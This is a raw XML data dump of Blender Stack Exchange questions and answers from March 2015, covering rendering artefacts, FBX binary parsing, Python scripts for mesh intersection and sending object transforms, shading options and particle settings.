  <row Id="26557" PostTypeId="2" ParentId="26527" CreationDate="2015-03-03T17:15:20.350" Score="1" Body="&lt;p&gt;I resolve it. You have to cancel the rotation master before starting the new moving cycle. This is my new file &lt;a href=&quot;http://www.pasteall.org/blend/34808&quot; rel=&quot;nofollow&quot;&gt;.blender&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastActivityDate="2015-03-03T17:15:20.350" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26558" PostTypeId="1" CreationDate="2015-03-03T17:46:02.253" Score="3" ViewCount="660" Body="&lt;p&gt;I noticed in my last 2 blender files, that when i use subdivision surface, unwanted lines appear in quick rendering what is this? how can i fix that?&lt;img src=&quot;https://i.stack.imgur.com/SHwuT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12938" LastActivityDate="2015-03-03T18:34:56.240" Title="mesh lines appear in quick rendering" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;mesh&gt;&lt;3d-view&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="26559" PostTypeId="2" ParentId="26552" CreationDate="2015-03-03T17:55:35.390" Score="6" Body="&lt;p&gt;From 4 verts you can construct 6 edges: &lt;strong&gt;throw away 2 longest that don't share a vert&lt;/strong&gt; and from there you get the correct vertex order.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-03-04T08:59:59.633" LastActivityDate="2015-03-04T08:59:59.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26560" PostTypeId="2" ParentId="26558" CreationDate="2015-03-03T18:27:46.033" Score="5" Body="&lt;p&gt;The problem is only present in orthographic view. Changing to perspective or a camera view will fix this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also why the issue isn't present in the final render, because most of the time you will be rendering with a perspective camera. You can actually zoom into any mesh in orthographic view and small cracks will start to appear on the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a known issue, with the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/KnownIssues?&quot; rel=&quot;nofollow&quot;&gt;known issue page&lt;/a&gt; stating:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When using Instancing, Motion Blur or Dynamic BVH, self-intersection may occur due to precision issues. Switching to Static BVH may avoid some problems but not all&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are several bug reports mentioning that this might be improved in future &lt;a href=&quot;https://developer.blender.org/T32332&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://developer.blender.org/T31384&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-03-03T18:34:56.240" LastActivityDate="2015-03-03T18:34:56.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26561" PostTypeId="1" CreationDate="2015-03-03T19:56:04.143" Score="2" ViewCount="122" Body="&lt;p&gt;I'm trying to create a message of transform data for all objects with a prefix, that blender will send to external application and I need it to be in a following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;values = { 'msgInstruction=' : 'MOVE_OBJ', 'pref.OBJ1=' : values, 'pref.OBJ2=' : values, 'pref.OBJ3=' : values, .... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="2217" LastEditDate="2015-03-03T21:59:24.727" LastActivityDate="2015-04-03T02:00:47.667" Title="How to create a prefixed list of transform data for objects?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26562" PostTypeId="2" ParentId="26549" CreationDate="2015-03-03T20:29:57.080" Score="1" Body="&lt;p&gt;Everything is &lt;a href=&quot;http://code.blender.org/index.php/2013/08/fbx-binary-file-format-specification/&quot; rel=&quot;nofollow&quot;&gt;explained here&lt;/a&gt;, in &lt;code&gt;Node Record Format&lt;/code&gt; section. Below I’m just rephrasing that document:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The first four bytes are an uint32, the total size (in bytes) of the node.&lt;/li&gt;&#xA;&lt;li&gt;The next four bytes are an uint32, the total &lt;strong&gt;number&lt;/strong&gt; of &lt;strong&gt;properties&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The next four bytes are an uint32, the total &lt;strong&gt;size&lt;/strong&gt; (in bytes) of &lt;strong&gt;properties&lt;/strong&gt; (aka &lt;code&gt;propertieslen&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;The next byte is a uint8, the total size (in bytes) of the node name (aka &lt;code&gt;namelen&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Then you have the node name itself.&lt;/li&gt;&#xA;&lt;li&gt;Then you have the properties.&lt;/li&gt;&#xA;&lt;li&gt;Then you have the nested list of sub-nodes.&lt;/li&gt;&#xA;&lt;li&gt;Then you have the final 13 NULL bytes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, you know nested subnodes (if any) start at &lt;code&gt;4 + 4 + 4 + 1 + &amp;lt;namelen&amp;gt; + &amp;lt;propertieslen&amp;gt;&lt;/code&gt; bytes from beginning of current node. This is your “opening bracket”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can “read” python, you can also have a look to our FBX addon code, in particular &lt;a href=&quot;https://developer.blender.org/diffusion/BA/browse/master/io_scene_fbx/parse_fbx.py&quot; rel=&quot;nofollow&quot;&gt;parse_fbx.py&lt;/a&gt; and &lt;a href=&quot;https://developer.blender.org/diffusion/BA/browse/master/io_scene_fbx/fbx2json.py&quot; rel=&quot;nofollow&quot;&gt;fbx2json.py&lt;/a&gt;, that code is fairly simple and short, and illustrate well how to parse binary FBX.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-03-03T20:29:57.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26563" PostTypeId="2" ParentId="23563" CreationDate="2015-03-03T20:40:19.367" Score="3" Body="&lt;p&gt;I need to chime in, just because I had the same question - but wound up with a different take on kind of the same answer as above:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I agree with the sentiment that &quot;you can't bake them into key frames&quot; anymore - but you can run the script above to do so - however, (at least in my case) what I wanted to do was to tweak and better control how/when/where the animation was played back. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in my case, merely &lt;em&gt;animating the shape keys&lt;/em&gt; themselves was ideal. This means, after you have your softbody/cloth or whatever simulation - go into the &quot;modifier&quot; and &quot;save to shape key&quot;. Then, just animate that shape key in the graph editor/dopesheet - just as you would have done to your mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is actually much cleaner than editing animations recorder through the blender game engine (which is what I thought it would be like to &quot;export&quot; the physics mesh animation to keyframes) - where you would have one keyframe for every frame. (This is what the script above gives you - and you wouldnt' need that either). You just have keyframe points at any time you create a keyframe for your shape key changing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the longwinded explanation - but now I understand &lt;em&gt;why&lt;/em&gt; they mad you do it with the shape keys - and am happier for it! &lt;/p&gt;&#xA;" OwnerUserId="2666" LastActivityDate="2015-03-03T20:40:19.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26564" PostTypeId="1" CreationDate="2015-03-03T21:18:25.783" Score="2" ViewCount="97" Body="&lt;p&gt;Sometimes In order to get the effect I want I'll subdivide more than I need, then use Limited Dissolve to remove unused areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just noticed that it sometimes (or maybe always?) leaves the separate edges/verts that were there from the original subdivision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to prevent this or clean up verts that do nothing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bi8yk.png&quot; alt=&quot;Dissolved face&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pHnmm.png&quot; alt=&quot;Undissolved Edges/Verts&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12940" LastEditorUserId="12940" LastEditDate="2015-03-03T21:38:56.420" LastActivityDate="2015-03-03T21:38:56.420" Title="Limited Dissolve leaves unused Vertices" Tags="&lt;mesh&gt;&lt;editing&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-03-03T23:40:00.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="26565" PostTypeId="2" ParentId="26371" CreationDate="2015-03-03T22:48:29.817" Score="1" Body="&lt;p&gt;as @stacker said the answere was in &lt;a href=&quot;https://blender.stackexchange.com/questions/9073/how-to-check-if-two-meshes-intersect-in-python&quot;&gt;How to check if two meshes intersect in python?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this the &quot;new&quot; code in order to answer your question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;note:  the &quot;chosen object&quot; must be the active object.. I mean the last selected object... check:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8XPa2.png&quot; alt=&quot;example image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;def bmesh_copy_from_object(obj, transform=True, triangulate=True, apply_modifiers=False):&#xA;    &quot;&quot;&quot;&#xA;    Returns a transformed, triangulated copy of the mesh&#xA;    &quot;&quot;&quot;&#xA;&#xA;    assert(obj.type == 'MESH')&#xA;&#xA;    if apply_modifiers and obj.modifiers:&#xA;        me = obj.to_mesh(bpy.context.scene, True, 'PREVIEW', calc_tessface=False)&#xA;        bm = bmesh.new()&#xA;        bm.from_mesh(me)&#xA;        bpy.data.meshes.remove(me)&#xA;    else:&#xA;        me = obj.data&#xA;        if obj.mode == 'EDIT':&#xA;            bm_orig = bmesh.from_edit_mesh(me)&#xA;            bm = bm_orig.copy()&#xA;        else:&#xA;            bm = bmesh.new()&#xA;            bm.from_mesh(me)&#xA;&#xA;    # Remove custom data layers to save memory&#xA;    for elem in (bm.faces, bm.edges, bm.verts, bm.loops):&#xA;        for layers_name in dir(elem.layers):&#xA;            if not layers_name.startswith(&quot;_&quot;):&#xA;                layers = getattr(elem.layers, layers_name)&#xA;                for layer_name, layer in layers.items():&#xA;                    layers.remove(layer)&#xA;&#xA;    if transform:&#xA;        bm.transform(obj.matrix_world)&#xA;&#xA;    if triangulate:&#xA;        bmesh.ops.triangulate(bm, faces=bm.faces)&#xA;&#xA;    return bm&#xA;&#xA;def bmesh_check_intersect_objects(obj, obj2):&#xA;    &quot;&quot;&quot;&#xA;    Check if any faces intersect with the other object&#xA;&#xA;    returns a boolean&#xA;    &quot;&quot;&quot;&#xA;    assert(obj != obj2)&#xA;&#xA;    # Triangulate&#xA;    bm = bmesh_copy_from_object(obj, transform=True, triangulate=True)&#xA;    bm2 = bmesh_copy_from_object(obj2, transform=True, triangulate=True)&#xA;&#xA;    # If bm has more edges, use bm2 instead for looping over its edges&#xA;    # (so we cast less rays from the simpler object to the more complex object)&#xA;    if len(bm.edges) &amp;gt; len(bm2.edges):&#xA;        bm2, bm = bm, bm2&#xA;&#xA;    # Create a real mesh (lame!)&#xA;    scene = bpy.context.scene&#xA;    me_tmp = bpy.data.meshes.new(name=&quot;~temp~&quot;)&#xA;    bm2.to_mesh(me_tmp)&#xA;    bm2.free()&#xA;    obj_tmp = bpy.data.objects.new(name=me_tmp.name, object_data=me_tmp)&#xA;    scene.objects.link(obj_tmp)&#xA;    scene.update()&#xA;    ray_cast = obj_tmp.ray_cast&#xA;&#xA;    intersect = False&#xA;&#xA;    EPS_NORMAL = 0.000001&#xA;    EPS_CENTER = 0.01  # should always be bigger&#xA;&#xA;    #for ed in me_tmp.edges:&#xA;    for ed in bm.edges:&#xA;        v1, v2 = ed.verts&#xA;&#xA;        # setup the edge with an offset&#xA;        co_1 = v1.co.copy()&#xA;        co_2 = v2.co.copy()&#xA;        co_mid = (co_1 + co_2) * 0.5&#xA;        no_mid = (v1.normal + v2.normal).normalized() * EPS_NORMAL&#xA;        co_1 = co_1.lerp(co_mid, EPS_CENTER) + no_mid&#xA;        co_2 = co_2.lerp(co_mid, EPS_CENTER) + no_mid&#xA;&#xA;        co, no, index = ray_cast(co_1, co_2)&#xA;        if index != -1:&#xA;            intersect = True&#xA;            break&#xA;&#xA;    scene.objects.unlink(obj_tmp)&#xA;    bpy.data.objects.remove(obj_tmp)&#xA;    bpy.data.meshes.remove(me_tmp)&#xA;&#xA;    scene.update()&#xA;&#xA;    return intersect&#xA;&#xA;&#xA;&#xA;obj = bpy.context.active_object&#xA;contador = 0&#xA;for sub_obj in bpy.context.selected_objects:&#xA;    if sub_obj == obj:&#xA;        print(&quot;is the same active object&quot;)&#xA;    else:&#xA;        obj2 = sub_obj&#xA;        intersect = bmesh_check_intersect_objects(obj, obj2)&#xA;        print(&quot;There are%s intersections.&quot; % (&quot;&quot; if intersect else &quot; NO&quot;))&#xA;        if intersect:&#xA;            contador +=1&#xA;&#xA;print(&quot;How many objects touch one chosen object?: &quot; + str(contador))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-03-03T22:48:29.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26566" PostTypeId="1" AcceptedAnswerId="26567" CreationDate="2015-03-03T23:04:06.277" Score="4" ViewCount="629" Body="&lt;p&gt;It is under &quot;Render&quot; when you select the &quot;Group&quot; option. How does this work? I cannot see any meaningful difference when I turn it on. It looks like it only randomizes the particles a bit differently, like a different seed.&lt;/p&gt;&#xA;" OwnerUserId="4944" LastActivityDate="2015-03-03T23:08:54.720" Title="Pick random option in particle settings?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26567" PostTypeId="2" ParentId="26566" CreationDate="2015-03-03T23:08:54.720" Score="8" Body="&lt;p&gt;Basically it picks a random object from the group for each particle, instead of selecting them in order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With an already randomized particle distribution this doesn't make much of a difference, but when particles are consecutively organized the effect is more obvious:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/42hEQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-03-03T23:08:54.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26568" PostTypeId="1" CreationDate="2015-03-04T00:33:13.103" Score="1" ViewCount="178" Body="&lt;p&gt;I want the viewport to filter the texture as closest and from what I read to do so I need to disable mipmaps. I'm using Linux Mint Cinnamon 64 bit Laptop with HD4000 graphics and in Blender 2.73a in Preferences-System the mipmap disable is not working. Is this a bug or am I doing it wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/x8kBi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x8kBi.png&quot; alt=&quot;example screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12941" LastEditorUserId="2843" LastEditDate="2016-03-07T15:57:33.583" LastActivityDate="2016-03-07T15:57:33.583" Title="Blender 2.73a Linux mipmap disable is not working" Tags="&lt;texturing&gt;&lt;3d-view&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26569" PostTypeId="2" ParentId="26561" CreationDate="2015-03-04T00:46:53.760" Score="1" Body="&lt;p&gt;You can use startswith('prefix') to detect objects' names start with this prefix.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have changed the keys so there values don't get overwritten by new ones ,this is the portion of the code that needs to be changed :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def RunPerFrame(scene):&#xA;    prefix = 'prefix' &#xA;    url = ''&#xA;    values = { 'msgInstruction=' : 'MOVE_OBJ'}&#xA;&#xA;    for obj in bpy.data.objects:&#xA;        print(obj.name)&#xA;        if obj.name.startswith(prefix):&#xA;            mat = bpy.context.object.matrix_world&#xA;            loc = mat.to_translation()&#xA;            rot = mat.to_3x3().to_quaternion()&#xA;            scale = obj.dimensions&#xA;            qtX = round(rot.x,3)&#xA;            qtY = round(rot.y,3)&#xA;            qtZ = round(rot.z,3)&#xA;            qtW = round(rot.w,3)&#xA;            loX = round(loc.x,3)&#xA;            loY = round(loc.y,3)&#xA;            loZ = round(loc.z,3)&#xA;            scX = round(scale.x,3)&#xA;            scY = round(scale.y,3)&#xA;            scZ = round(scale.z,3)&#xA;&#xA;            name = obj.name.replace(prefix,'')&#xA;            this_object = {'object=': name,  name+'_rotQuat=' : str(qtX) + ',' + str(qtY) + ',' + str(qtZ) + ',' + str(qtW), name+'_objLoc=' : str(loX) + ',' + str(loY) + ',' + str(loZ), name+'_objScale=' : str(scX) + ',' + str(scY) + ',' + str(scZ) }&#xA;            values.update(this_object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-03-04T01:25:05.183" LastActivityDate="2015-03-04T01:25:05.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26570" PostTypeId="2" ParentId="26526" CreationDate="2015-03-04T01:48:51.463" Score="2" Body="&lt;p&gt;I've fixed the problem. After some research on the 'net, the solution that worked for me was to enable &lt;em&gt;Auto Run Python Scripts&lt;/em&gt; in File &gt; User Preferences.&lt;/p&gt;&#xA;" OwnerUserId="12921" LastEditorUserId="1253" LastEditDate="2015-03-04T10:54:04.573" LastActivityDate="2015-03-04T10:54:04.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26572" PostTypeId="2" ParentId="26284" CreationDate="2015-03-04T02:27:10.513" Score="4" Body="&lt;p&gt;using &lt;a href=&quot;https://blender.stackexchange.com/users/41/mike-pan&quot;&gt;Mike Pan&lt;/a&gt; &lt;a href=&quot;https://blender.stackexchange.com/a/2593/5113&quot;&gt;answer&lt;/a&gt; i have tried to split the code and put the networking part on a different thread see if this helps with the speed &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import urllib&#xA;import mathutils &#xA;from bpy import context&#xA;from urllib import request, parse&#xA;from math import sin, cos, radians&#xA;from mathutils import Matrix&#xA;&#xA;import time&#xA;import threading&#xA;&#xA;&#xA;class Worker(threading.Thread):&#xA;&#xA;    def __init__(self, values):&#xA;        self.values = values&#xA;        threading.Thread.__init__(self)&#xA;&#xA;    def run(self):&#xA;        url = ''&#xA;        data = urllib.parse.urlencode(self.values)&#xA;        encoded_data = data.encode('ascii')&#xA;        req = urllib.request.Request(url, encoded_data)&#xA;        response = urllib.request.urlopen(req)&#xA;        the_page = response.read()&#xA;&#xA;&#xA;def RunPerFrame(scene):&#xA;    for obj in bpy.data.objects:&#xA;        mat = bpy.context.object.matrix_world&#xA;        loc = mat.to_translation()&#xA;        rot = mat.to_3x3().to_quaternion()&#xA;        scale = obj.dimensions&#xA;        qtX = round(rot.x,3)&#xA;        qtY = round(rot.y,3)&#xA;        qtZ = round(rot.z,3)&#xA;        qtW = round(rot.w,3)&#xA;        loX = round(loc.x,3)&#xA;        loY = round(loc.y,3)&#xA;        loZ = round(loc.z,3)&#xA;        scX = round(scale.x,3)&#xA;        scY = round(scale.y,3)&#xA;        scZ = round(scale.z,3)&#xA;&#xA;    values = { 'msgInstruction=' : 'MOVE_OBJ','rotQuat=' : str(qtX) + ',' + str(qtY) + ',' + str(qtZ) + ',' + str(qtW),'objLoc=' : str(loX) + ',' + str(loY) + ',' + str(loZ),'objScale=' : str(scX) + ',' + str(scY) + ',' + str(scZ) }  &#xA;    thread = Worker(values)&#xA;    thread.start()&#xA;&#xA;&#xA;&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(RunPerFrame)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-03-04T02:27:10.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26573" PostTypeId="1" CreationDate="2015-03-04T02:31:47.380" Score="4" ViewCount="1844" Body="&lt;p&gt;I am trying to weight paint a mesh for a unity game, and only a few if any of the vertices are being painted. This is something I was able to do a while back in version 2.49, but now it doesn't work. This is also affecting my ability to vertex paint. I just reinstalled blender, and have taken a screenshot of me weight painting a subdivided version of the default cube(Without subdivision it wouldn't paint at all.), And it is clear that only a few of the vertices are being painted. I am trying to complete a model for a client and this has absolutely halted any forward progress. Help would be highly appreciated, Thank you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT]&#xA;OS = windows 7, gfx card = gtx 780ti.&#xA;I have tried versions - 2.69(released 2013) through 2.73(released 2015) &#xA;All fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HB0Az.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12942" LastEditorUserId="12662" LastEditDate="2019-02-19T20:47:19.057" LastActivityDate="2021-02-16T20:02:25.177" Title="Weight paint only working on some vertices? [v2.73]" Tags="&lt;weight-painting&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="26574" PostTypeId="2" ParentId="26460" CreationDate="2015-03-04T05:25:41.690" Score="3" Body="&lt;p&gt;There is a patch for Blender allowing you to use RealFlow .bin files inside blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/T41935&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T41935&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it looks like the patch is no longer in development, due to alembic support coming very soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see: &lt;a href=&quot;http://lists.blender.org/pipermail/bf-committers/2015-March/045025.html&quot; rel=&quot;nofollow&quot;&gt;http://lists.blender.org/pipermail/bf-committers/2015-March/045025.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5838" LastActivityDate="2015-03-04T05:25:41.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26576" PostTypeId="1" AcceptedAnswerId="26577" CreationDate="2015-03-04T05:55:49.640" Score="15" ViewCount="2181" Body="&lt;p&gt;I know how shading works with faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9s6WI.png&quot; alt=&quot;Smooth cylinder&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9NLXF.png&quot; alt=&quot;Flat cylinder&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's set by choosing &lt;em&gt;Smooth&lt;/em&gt;/&lt;em&gt;Flat&lt;/em&gt; under &lt;em&gt;Faces&lt;/em&gt; in the &lt;em&gt;Shading&lt;/em&gt; menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bU6e1.png&quot; alt=&quot;Shading - Faces: (Smooth/Flat) - Edges: (Smooth/Sharp) - Vertices: (Smooth/Sharp)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what do the other two options—&lt;em&gt;Edges&lt;/em&gt; and &lt;em&gt;Vertices&lt;/em&gt;—do?&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2015-03-22T00:35:35.010" LastActivityDate="2015-04-27T15:10:26.300" Title="What is vertex and edge shading?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26577" PostTypeId="2" ParentId="26576" CreationDate="2015-03-04T07:02:09.813" Score="16" Body="&lt;p&gt;This feature makes it possible to sharpen or soften &lt;strong&gt;individual components&lt;/strong&gt; of a mesh instead of soften or sharpen the entire mesh. Especially for &lt;em&gt;Low Poly Modeling&lt;/em&gt; it can be useful to have more control about the object's appearance and thus to define a more complex shape with less geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MnYhU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result of sharpen the selected &lt;strong&gt;edges only&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dd39J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; In Order to make it work, enable &lt;em&gt;Auto Smooth&lt;/em&gt; Option in the &lt;em&gt;Properties Panel &gt; Data&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When sharpening &lt;strong&gt;vertices&lt;/strong&gt;, the &lt;em&gt;connected edges&lt;/em&gt; are also affected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0wXJW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Render result&lt;/strong&gt; of sharpen edges only:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ooYM.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-04-27T15:10:26.300" LastActivityDate="2015-04-27T15:10:26.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26579" PostTypeId="2" ParentId="420" CreationDate="2015-03-04T07:48:25.573" Score="0" Body="&lt;p&gt;Both shaders have this in common: They are used to combine or put shaders properties together. The difference I would give is that the mix shaders takes the property of one shader e.g diffuse and mixes it with the property of another, say glossy shader. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in this case, the mix will be dependent on the factor value. The factor has a proximity of zero to one. By default, the factor value will be 0.5. Setting it to 0 would mean that you get the property of one of the shaders without the other. This will again depend on how you have connected the nodes; either the upper or the lower. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the factor to 1 will get you the absolute property of the other shader. This is very different in the add shader. Taking the example above, and replacing the mix shader with the add shader, we get different results. As its name goes, this adds the property of the two materials. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To mention, this add shader should be used in specific materials since not all materials will add up desirably. Additionally, add shader doesn't have a factor since it cannot. Remember we are adding two properties together and the rule of math is. 1+1=2. Adding a diffuse to another diffuse will make it brighter, sometimes very unpleasant. Adding a diffuse on top of a glossy shader will give you a diffuse material a bit brighter than the original one but no glossy at all. In math you cannot add &lt;code&gt;X&lt;/code&gt; and &lt;code&gt;Y&lt;/code&gt; and arrive at an absolute answer. But you can add &lt;code&gt;X&lt;/code&gt; and &lt;code&gt;-X&lt;/code&gt; to give you zero. &lt;/p&gt;&#xA;" OwnerUserId="12945" LastEditorUserId="6204" LastEditDate="2015-03-04T12:15:05.047" LastActivityDate="2015-03-04T12:15:05.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26580" PostTypeId="2" ParentId="26527" CreationDate="2015-03-04T08:32:45.970" Score="1" Body="&lt;p&gt;Instead of piling up so many actions it is way easier to control the characters movement by using curves and follow path constraints, the influence of each segment must be defined by keyframing the influence slider and the offset value controls when the curve comes into play.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pLTCe.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would allow you to order the actions subsequent in a single actions strip. Only one to control the curves influence is added on top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BFIYU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One important thing is to start curve 1 with an influence of 1 and setting another keyframe with influence 1 before you set it to 0 when the second path should take over otherwise the values in between would be interpolated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that the number of frams for the curve can be adjusted in the curves properties:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oaH02.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/64/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=64&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-03-04T08:32:45.970" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
